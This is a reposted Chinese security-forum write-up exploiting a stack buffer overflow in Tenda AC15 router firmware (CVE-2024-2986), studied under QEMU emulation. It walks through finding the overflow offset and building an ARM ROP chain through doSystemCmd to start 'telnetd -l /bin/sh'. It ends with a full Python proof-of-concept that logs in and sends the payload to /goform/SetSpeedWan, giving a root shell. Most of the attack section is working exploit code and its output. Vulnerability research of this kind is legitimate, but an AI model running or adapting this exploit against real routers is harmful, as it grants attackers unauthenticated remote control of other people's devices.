&nbsp; Type: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;DYN (Shared&nbsp;object&nbsp;file)
&nbsp; Machine: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ARM
&nbsp; Version: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0x1
&nbsp; Entry point address: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0x0
&nbsp; Start&nbsp;of&nbsp;program headers: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;52&nbsp;(bytes&nbsp;into&nbsp;file)
&nbsp; Start&nbsp;of&nbsp;section headers: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;10940&nbsp;(bytes&nbsp;into&nbsp;file)
&nbsp; Flags: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0x5000200, Version5 EABI, soft-float ABI
&nbsp; Size&nbsp;of&nbsp;this header: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;52&nbsp;(bytes)
&nbsp; Size&nbsp;of&nbsp;program headers: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;32&nbsp;(bytes)
&nbsp; Number&nbsp;of&nbsp;program headers: &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;5
&nbsp; Size&nbsp;of&nbsp;section headers: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;40&nbsp;(bytes)
&nbsp; Number&nbsp;of&nbsp;section headers: &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;24
&nbsp; Section header&nbsp;string&nbsp;table index:&nbsp;23

Attribute Section: aeabi
File Attributes
&nbsp; Tag_CPU_name:&nbsp;"7VE"
&nbsp; Tag_CPU_arch: v7
&nbsp; Tag_CPU_arch_profile: Application
&nbsp; Tag_ARM_ISA_use: Yes
&nbsp; Tag_THUMB_ISA_use: Thumb-2
&nbsp; Tag_ABI_PCS_wchar_t:&nbsp;4
&nbsp; Tag_ABI_FP_denormal: Needed
&nbsp; Tag_ABI_FP_exceptions: Needed
&nbsp; Tag_ABI_FP_number_model: IEEE&nbsp;754
&nbsp; Tag_ABI_align_needed:&nbsp;8-byte
&nbsp; Tag_ABI_enum_size: int
&nbsp; Tag_CPU_unaligned_access: v6
&nbsp; Tag_MPextension_use: Allowed
&nbsp; Tag_DIV_use: Allowed&nbsp;in&nbsp;v7-A&nbsp;with&nbsp;integer&nbsp;division extension
&nbsp; Tag_Virtualization_use: TrustZone&nbsp;and&nbsp;Virtualization Extensions

主机运行 python ./uds_server.py 创建 ./var/cfm_socket

sudo chroot . bin/sh 进入固件目录环境 ,再运行 LD_PRELOAD=/tmp/hook_nvram.so /bin/httpd 开启 HTTP 服务。

python&nbsp;./uds_server.py

~&nbsp;# LD_PRELOAD=/tmp/hook_nvram.so /bin/httpd
init_core_dump 1816:rlim_cur&nbsp;=&nbsp;0,&nbsp;rlim_max&nbsp;=&nbsp;0
init_core_dump 1825:open&nbsp;core&nbsp;dump&nbsp;success
init_core_dump 1834:rlim_cur&nbsp;=&nbsp;5242880,&nbsp;rlim_max&nbsp;=&nbsp;5242880

Yes:

******&nbsp;WeLoveLinux******

Welcome&nbsp;to&nbsp;...
create&nbsp;socket&nbsp;&nbsp;fail&nbsp;-1
[httpd][debug]----------------------------webs.c,157
httpd&nbsp;listen&nbsp;ip&nbsp;=&nbsp;192.168.3.3&nbsp;port&nbsp;=&nbsp;80
webs:Listening&nbsp;for&nbsp;HTTP&nbsp;requests&nbsp;at&nbsp;address&nbsp;192.168.3.3

访问 http://192.168.3.3/login.html 页面如下:

#

漏洞利用

首先查看 httpd 开启的防护如下:

checksec&nbsp;./bin/httpd
[*]&nbsp;'/home/chialin/kctf/tenda/tendaac15/bin/httpd'
Arch:arm-32-little
RELRO:No&nbsp;RELRO
Stack:No&nbsp;canary&nbsp;found
NX:NX&nbsp;enabled
PIE:No&nbsp;PIE&nbsp;(0x8000)

使用调试模式启动 httpd , 然后在 0x0061998 BL sprintf 的溢出点下断点。

gdb.txt 的加载脚本如下:

file /kctf/tenda/tendaac15/bin/httpd
set&nbsp;sysroot /kctf/tenda/tendaac15
target remote 127.0.0.1:1234
b *0x00061998

python ./uds_server.py 重启uds , sudo chroot . qemu-arm-static -g 1234 -E LD_PRELOAD=/tmp/hook_nvram.so /bin/httpd 调试模式启动 , 然后  gdb-multiarch  -x gdb.txt 程序就断在了 _start 开始处。

然后使用 cyclic 生成测试字符串 , 使用 PYTHON POC 脚本的 HTTP 协议进行发送。

pwndbg>&nbsp;cyclic 0xff
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaa

程序正常断在 sprintf@plt 函数处

查看目的地址 0x407ff9f8 正常情况下的栈数据

sprintf 后的栈数据如下:

单步运行到函数的结束处

可以看到最后是 r11 0x407ffa34 ◂— 0x61616a61 (‘ajaa’) 的数据被弹出到 PC 寄存器。

偏移地址为 35 处

pwndbg> cyclic -l ajaa
Finding cyclic pattern of&nbsp;4&nbsp;bytes:&nbsp;b'ajaa'&nbsp;(hex:&nbsp;0x616a6161)
Found at offset&nbsp;35

如果调用 system 函数, 需要首先设置 R0 的值指向需要执行的命令地址。

但是 system 的函数汇编代码如下:

; int __fastcall system(int)
WEAK system
system

var_30= -0x30
var_24= -0x24
var_20= -0x20
var_1C= -0x1C
var_18= -0x18
var_14= -0x14
var_C= -0xC

LDR &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; R3, =(_GLOBAL_OFFSET_TABLE_ - 0x40A4528C) ; Alternative name is '__libc_system'
CMP &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; R0,&nbsp;#0
PUSH &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{R4,LR}
SUB &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SP, SP,&nbsp;#0x28
...
...
...
ADD &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SP, SP,&nbsp;#0x28 ; '('
POP &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {R4,PC}

system 运行结束后 ,弹出到 PC 寄存器的是 LR 的值 ,如果不控制 LR 的值程序就会崩溃,现在需要找一个 BL system 的指令来自动设置 LR 的值。

libcommon.so 中的 doSystemCmd 函数正好符合, 然后 flush_dns_cache 的调用 doSystemCmd 代码如下:

.text:00009A4C &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; MOV &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; R0, R3
.text:00009A50 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; BL &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;j_doSystemCmd
.text:00009A54 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; POP &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {R3,R4,R11,PC}

这段代码非常符合参数的设置,首先设置 R3 的地址指向需要执行的命令 telnetd -l /bin/sh

让弹出到 PC 寄存器的地址指向 libc.so.0 的 _exit 函数

使用 ROPgadget 查找设置 R3 值的指令:

ROPgadget&nbsp;--binary&nbsp;./lib/libcommon.so&nbsp;--only&nbsp;"pop"
Gadgets&nbsp;information
============================================================
0x00003e58 :pop&nbsp;{fp,&nbsp;pc}
0x00015be4 :pop&nbsp;{r1,&nbsp;pc}
0x00009a54 :pop&nbsp;{r3,&nbsp;r4,&nbsp;fp,&nbsp;pc}
0x00015c20 :pop&nbsp;{r3,&nbsp;r4,&nbsp;r5,&nbsp;r6,&nbsp;r7,&nbsp;pc}
0x00003454 :pop&nbsp;{r4,&nbsp;fp,&nbsp;pc}
0x00003350 :pop&nbsp;{r4,&nbsp;pc}
0x00004570 :pop&nbsp;{r4,&nbsp;r5,&nbsp;fp,&nbsp;pc}
0x00006cf8 :pop&nbsp;{r4,&nbsp;r5,&nbsp;r6,&nbsp;fp,&nbsp;pc}
0x000160c0 :pop&nbsp;{r4,&nbsp;r5,&nbsp;r6,&nbsp;r7,&nbsp;r8,&nbsp;sb,&nbsp;sl,&nbsp;fp,&nbsp;pc}
0x0000ab98 :pop&nbsp;{r4,&nbsp;r5,&nbsp;r6,&nbsp;r7,&nbsp;r8,&nbsp;sl,&nbsp;fp,&nbsp;pc}

Unique gadgets found:10

选取 0x00015c20 作为设置 R3 值的指令

结合 vmmap 和 info sharedlibrary 计算 libcommon.so 的基址为 0x40854000 , libc.so.0 的基址为 0x409EB000

栈的数据结构如下:

开启 telnetd 服务还需要挂载 devpts , 不然程序会提示 telnetd: can’t find free pty

sudo mount -o&nbsp;bind&nbsp;/dev ./dev/
sudo mount -t devpts devpts ./dev/pts

运行 POC 后查看运行的进程信息:

ps -aux | grep telnetd
root &nbsp; &nbsp; &nbsp; &nbsp;5799 &nbsp;0.0 &nbsp;0.0 4404548 5872 ? &nbsp; &nbsp; &nbsp; &nbsp;Ssl &nbsp;00:51 &nbsp; 0:00 /usr/libexec/qemu-binfmt/arm-binfmt-P /usr/sbin/telnetd telnetd -l /bin/sh

telnet 192.168.3.3 进行测试:

telnet&nbsp;192.168.3.3
Trying&nbsp;192.168.3.3...
Connected&nbsp;to&nbsp;192.168.3.3.
Escape&nbsp;character&nbsp;is&nbsp;'^]'.
~&nbsp;# ls -la
total&nbsp;64
drwxr-xr-x&nbsp; &nbsp;15&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4096&nbsp;Jan&nbsp;&nbsp;2&nbsp;16:45&nbsp;.
drwxr-xr-x&nbsp; &nbsp;15&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4096&nbsp;Jan&nbsp;&nbsp;2&nbsp;16:45&nbsp;..
-rw-------&nbsp; &nbsp;&nbsp;1&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;2819&nbsp;Jan&nbsp;&nbsp;2&nbsp;16:45&nbsp;.gdb_history
drwxr-xr-x&nbsp; &nbsp;&nbsp;2&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4096&nbsp;Dec&nbsp;26&nbsp;14:28&nbsp;bin
drwxr-xr-x&nbsp; &nbsp;&nbsp;2&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4096&nbsp;Dec&nbsp;26&nbsp;06:48&nbsp;cfg
drwxr-xr-x&nbsp; &nbsp;15&nbsp;root&nbsp; &nbsp; &nbsp;root&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;3860&nbsp;Jan&nbsp;&nbsp;1&nbsp;15:29&nbsp;dev
lrwxrwxrwx&nbsp; &nbsp;&nbsp;1&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 8&nbsp;Dec&nbsp;26&nbsp;06:48&nbsp;etc&nbsp;->&nbsp;/var/etc
drwxr-xr-x&nbsp; &nbsp;&nbsp;8&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4096&nbsp;Dec&nbsp;26&nbsp;06:48&nbsp;etc_ro
-rw-r--r--&nbsp; &nbsp;&nbsp;1&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 154&nbsp;Jan&nbsp;&nbsp;1&nbsp;15:34&nbsp;gdb.txt
lrwxrwxrwx&nbsp; &nbsp;&nbsp;1&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 9&nbsp;Dec&nbsp;26&nbsp;06:48&nbsp;home&nbsp;->&nbsp;/var/home
lrwxrwxrwx&nbsp; &nbsp;&nbsp;1&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;11&nbsp;Dec&nbsp;26&nbsp;06:48&nbsp;init&nbsp;->&nbsp;bin/busybox
drwxr-xr-x&nbsp; &nbsp;&nbsp;3&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4096&nbsp;Dec&nbsp;26&nbsp;06:48&nbsp;lib
drwxr-xr-x&nbsp; &nbsp;&nbsp;2&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4096&nbsp;Dec&nbsp;26&nbsp;06:48&nbsp;mnt
drwxr-xr-x&nbsp; &nbsp;&nbsp;3&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4096&nbsp;Dec&nbsp;26&nbsp;06:48&nbsp;proc
lrwxrwxrwx&nbsp; &nbsp;&nbsp;1&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 9&nbsp;Dec&nbsp;26&nbsp;06:48&nbsp;root&nbsp;->&nbsp;/var/root
drwxr-xr-x&nbsp; &nbsp;&nbsp;2&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4096&nbsp;Dec&nbsp;26&nbsp;06:48&nbsp;sbin
drwxr-xr-x&nbsp; &nbsp;&nbsp;2&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4096&nbsp;Dec&nbsp;26&nbsp;06:48&nbsp;sys
drwxr-xr-x&nbsp; &nbsp;&nbsp;2&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4096&nbsp;Dec&nbsp;30&nbsp;06:27&nbsp;tmp
drwxr-xr-x&nbsp; &nbsp;&nbsp;6&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4096&nbsp;Dec&nbsp;26&nbsp;06:48&nbsp;usr
drwxr-xr-x&nbsp; &nbsp;&nbsp;8&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4096&nbsp;Jan&nbsp;&nbsp;2&nbsp;16:45&nbsp;var
lrwxrwxrwx&nbsp; &nbsp;&nbsp;1&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;11&nbsp;Dec&nbsp;26&nbsp;06:48&nbsp;webroot&nbsp;->&nbsp;var/webroot
drwxr-xr-x&nbsp; &nbsp;&nbsp;8&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4096&nbsp;Dec&nbsp;26&nbsp;06:48&nbsp;webroot_ro

POC 代码如下:

import&nbsp;requests
from&nbsp;pwn&nbsp;import&nbsp;*

def&nbsp;execute_overflow(session, url):
# Prepare malicious request parameters
&nbsp; &nbsp; telnet =&nbsp;b'aaatelnetd -l /bin/sh|aagaaahaaaiaa'
&nbsp; &nbsp; pop_r3 =&nbsp;0x40869C20
&nbsp; &nbsp; args =&nbsp;0x407ffa14
&nbsp; &nbsp; doSystemCmd =&nbsp;0x4085DA4C
&nbsp; &nbsp; exit =&nbsp;0x40A00904
&nbsp; &nbsp; end =&nbsp;0x00000000
&nbsp; &nbsp; speed_dir = telnet + p32(pop_r3) + p32(args) *&nbsp;5&nbsp; + p32(doSystemCmd) + p32(args) *&nbsp;3&nbsp;+ p32(exit) + p32(end)

&nbsp; &nbsp; attack_params = {
# "speed_dir": cyclic(0xFF)
"speed_dir": speed_dir
&nbsp; &nbsp; }

# Send the malicious request twice (as in original)
&nbsp; &nbsp; server_response = session.get(url, params=attack_params)

# Display server response
print("HTTP Status:", server_response.status_code)
print("Response Content:", server_response.text)

def&nbsp;execute_login(session, login_url, username, password):

&nbsp; &nbsp; data = {
"username": username,
"password": password
&nbsp; &nbsp; }

&nbsp; &nbsp; server_response = session.post(login_url, data=data)
# Display server response
print("HTTP Status:", server_response.status_code)
# print("Response Content:", server_response.text)
print("Response Cookies:", session.cookies.get('password'))

if&nbsp;__name__ ==&nbsp;"__main__":

&nbsp; &nbsp; session = requests.Session()
&nbsp; &nbsp; login_url =&nbsp;"http://192.168.3.3/login/Auth"
&nbsp; &nbsp; username =&nbsp;"admin"
&nbsp; &nbsp; password =&nbsp;"4fc0296a51e6d90c794c91951886dc2b"
&nbsp; &nbsp; execute_login(session, login_url, username, password)

# Target endpoint
&nbsp; &nbsp; target_url =&nbsp;"http://192.168.3.3/goform/SetSpeedWan"
# Execute the attack
&nbsp; &nbsp; execute_overflow(session, target_url)

#

看雪ID:易之生生

https://bbs.kanxue.com/user-home-920134.htm

*本文为看雪论坛精华文章,由 易之生生 原创,转载请注明来自看雪社区

往期推荐

从ANGR-CTF项目入手ANGR和符号执行技术

AI时代-逆向工作者该如何用好这一利器

EXIF解析缓冲区溢出漏洞分析与利用

从C到Pwn:栈溢出漏洞利用实战入门

Android-ARM64的VMP分析和还原

球分享

球点赞

球在看

点击阅读原文查看更多


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:看雪学苑 易之生生 易之生生《Tenda堆栈缓冲区溢出漏洞 (CVE-2024-2986)》

评论:0   参与:  0